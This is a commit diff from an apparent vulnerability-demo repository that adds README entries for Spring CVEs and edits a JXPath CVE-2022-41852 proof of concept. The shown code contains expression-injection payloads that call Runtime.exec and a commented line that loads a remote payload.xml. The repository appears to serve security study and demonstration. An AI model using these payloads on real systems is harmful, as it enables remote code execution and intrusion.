add CVE-2018-1273 CVE-2022-22963 :)

Author: Whoopsunix

README.md

@@ -44,9 +44,12 @@ By. Whoopsunix
     - [CVE-2022-22980 Spring Data MongoDB SpEL表达式注入](components/Spring%20Data%20MongoDB/CVE-2022-22980)
 - Spring Cloud
     - [CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL表达式注入](components/Spring%20Cloud/CVE-2022-22947)
+    - [CVE-2022-22963 Spring Cloud Function functionRouter SPEL代码执行漏洞](components/Spring%20Cloud/CVE-2022-22963)
 - [SpringBootVulExploit by LandGrey](https://github.com/LandGrey/SpringBootVulExploit)
 - spring-messaging
     - [CVE-2018-1270 & CVE-2018-1275 Spring spring-messaging 远程命令执行漏洞](components/spring-messaging/CVE-2018-1270)
+- spring-commons
+    - [CVE-2018-1273 Spring Data Commons 远程代码执行漏洞](components/Spring%20Data%20Commons/CVE-2018-1273)
 - [ff4j](components/ff4j)
 - [XStream 系列](components/XStreamDemo)
 - structs2

components/Apache Commons JXPath/CVE-2022-41852/poc/CVE-2022-41852Art.md renamed to components/Apache Commons JXPath/CVE-2022-41852/poc/CVE-2022-41852.md

@@ -60,7 +60,7 @@ String firstName = (String)context.getValue("getAuthorsFirstName($book)");
 
 ```java
 jxPathContext.getValue("exec(java.lang.Runtime.getRuntime(),'open -a Calculator')");
-       jxPathContext.getValue("eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')");
+jxPathContext.getValue("eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")')");
 ```
 
 

components/Apache Commons JXPath/CVE-2022-41852/src/main/java/com/example/jxpathdemo/RceDemo.java

@@ -12,7 +12,8 @@ public static class User {
 
     }
 
-    public static void main(String[] args) {
+    public static void main(String[] args) throws InterruptedException {
+        Thread.sleep(5);
         JXPathContext jxPathContext = JXPathContext.newContext(new User());
 //        Object object = jxPathContext.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:1234/payload.xml\")");
         jxPathContext.getValue("exec(java.lang.Runtime.getRuntime(),'open -a Calculator')");